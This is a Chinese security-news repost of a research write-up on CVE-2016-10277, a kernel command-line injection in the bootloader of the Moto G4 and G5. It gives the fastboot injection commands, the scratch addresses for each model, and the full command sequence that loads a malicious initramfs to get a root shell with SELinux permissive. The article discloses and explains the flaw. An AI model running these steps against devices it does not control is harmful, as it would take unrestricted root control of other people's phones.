安全路透社
当前位置:安全路透社 > 网络转载 > 正文

摩托罗拉G4 & G5手机被曝存在高危内核命令行注入漏洞

11.png

在之前一篇关于Nexus6 root漏洞的文章中,我们曾提到过漏洞CVE-2016-10277很有可能会影响摩托罗拉设备。当我们在Twitter上受到了一些相关报告之后,事实证明了我们之前的猜想。

为了证明摩托罗拉设备中存在这样的一种高危漏洞,我们弄了两台摩托罗拉手机,然后将它们的系统升级至了最新版本:

1.   MotoG4 athene XT1622,系统版本:NPJS25.93-14.4,Bootloader:moto-msm8952-B1.05;

2.   MotoG5 cedric XT1676,系统版本:NPP25.137-33,bootloader:moto-msm8937-B8.09;

回顾之前的那篇文章

1.   存在漏洞的摩托罗拉Android Bootloader(ABOOT)将允许攻击者实现内核命令行注入。

2.   我们可以注入一个名叫“initrd”的参数,它将允许我们迫使Linux内核把initramfs填充至rootfs中,而且还可以指定物理地址。

3.   我们可以利用ABOOT的下载功能来将我们的恶意initramfs存放到已知的物理地址SCRATCH_ADDR(Nexus 6中为0×11000000)。

4.   攻击者可以利用这个漏洞来拿到毫不受限的root shell。

验证Moto G4 & G5上的漏洞CVE-2016-10277

实验表明,这两种型号的设备的确会受到该漏洞的影响,而且漏洞的利用也非常简单。我们只需要运行命令fastboot oem config fsg-id “a androidboot.foo=bar”,就可以直接创建出ro.boot.foo属性(property):

$fastboot oem config fsg-id "a androidboot.foo=bar"

...

(bootloader)<UTAG name="fsg-id" type="str"protected="false">

(bootloader)   <value>

(bootloader)     a androidboot.foo=bar

(bootloader)   </value>

(bootloader)   <description>

(bootloader)     FSG IDs, see http://goo.gl/gPmhU

(bootloader)   </description>

(bootloader)</UTAG>

OKAY[  0.013s]

 

$fastboot continue

$ adbshell

cedric:/$ getprop ro.boot.foo

bar

cedric:/$

这也就意味着我们已经将这个参数注入到cedric的内核命令行之中了。接下来,我们证明了我们能够控制initrd参数,而它将允许我们迫使Linux内核从一个指定的物理地址加载initramfs。我们可以通过运行命令fastboot oem config fsg-id “a initrd=0×12345678,1234″来让内核发生崩溃。

正如之前所提到的,在我们利用该漏洞来对G4 & G5设备进行测试之前,我们还需要满足两个特殊的要求:

1.   找到bootloader所使用的SCRATCH_ADDR值。

2.   创建恶意initramfs文档。

查找SCRATCH_ADDR值

在IDA中加载athene的ABOOT以及cedric的ABOOT之后,我们迅速得到了SCRATCH_ADDR的值:

//athene

signedint target_get_scratch_address()

{

  return 0x90000000;

}

 

//cedric

signedint target_get_scratch_address()

{

  return 0xA0100000;

}

验证SCRATCH_ADDR的值

在我们讲解恶意initramfs的构造方法之前,我们需要验证SCRATCH_ADDR值的正确性,否则我们得到的分析结果很可能会有问题。

为了验证这个地址的正确性,我们从摩托罗拉的官方固件镜像中提取出了原始的initramfs文档,然后利用这个漏洞从地址SCRATCH_ADDR加载官方的initramfs。

...

(bootloader)<UTAG name="fsg-id" type="str"protected="false">

(bootloader)   <value>

(bootloader)     a initrd=0x90000000,1766036

(bootloader)   </value>

(bootloader)   <description>

(bootloader)     FSG IDs, see http://goo.gl/gPmhU

(bootloader)   </description>

(bootloader)</UTAG>

 

OKAY[  0.015s]

finished.total time: 0.015s

 

$fastboot flash aleph initramfs.cpio.gz

targetreported max download size of 536870912 bytes

sending'aleph' (1725 KB)...

OKAY[  1.088s]

writing'aleph'...

(bootloader)Invalid partition name aleph

FAILED(remote failure)

finished.total time: 1.095s

 

$fastboot continue

此时文件并没有正常加载,而设备则进入了无限重启,这就让我们非常郁闷了。

填充Payload

我们进行了大胆的猜测,最终发现,当我们将initramfs加载进了地址SCRATCH_ADDR之后,并在ABOOT跳转到Linux内核之前,cedric和athene的ABOOT会将其它一些不相关的数据放入SCRATCH_ADDR之中,并导致了我们的initramfs发生崩溃(但并非完全崩溃)。

现在,我们只要在initramfs之前填充一些数据,然后相应地调整initrd(SCRATCH_ADDR + sizeof(PADDING))即可解决崩溃问题。因此,如果我们的假设是正确的,那么我们就能够在Linux内核真正开始运行之前得到如下所示的内存数据(结构):

12.png

我们填充了32MB数据(0×2000000)并成功解决了无限重启的问题。

创建Moto G4 & G5的initramfs以及漏洞PoC

对于之前Nexus 6的情况来说,为了创建一个initramfs并通过adb获取到毫不受限的root shell,我们编译了一个AOSP userdebug镜像。我们之所以要这样做,是因为userdebug镜像能够通过su访问SELinux域,而adbd可以给我提供一些系统属性。

更新后的PoC可以在我们的GitHub代码库中找到。【PoC传送门

了解了上述内容之后并运行我们所提供的PoC,我们就能够成功拿到root shell。

MotoG4:

$fastboot oem config fsg-id "a initrd=0x92000000,1774281"

$fastboot flash aleph initroot-athene.cpio.gz

$fastboot continue

 

$ adbshell

athene:/# id

uid=0(root)gid=0(root)groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc)context=u:r:kernel:s0

athene:/# getenforce

Permissive

athene:/#

MotoG5:

$fastboot oem config fsg-id "a initrd=0xA2100000,1588598"

$fastboot flash aleph initroot-cedric.cpio.gz

$fastboot continue

 

$ adbshell

cedric:/# id

uid=0(root)gid=0(root)groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3014(readproc)context=u:r:kernel:s0

cedric:/# getenforce

Permissive

cedric:/#

* 参考来源:alephsecurity, FB小编Alpha_h4ck编译

未经允许不得转载:安全路透社 » 摩托罗拉G4 & G5手机被曝存在高危内核命令行注入漏洞

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册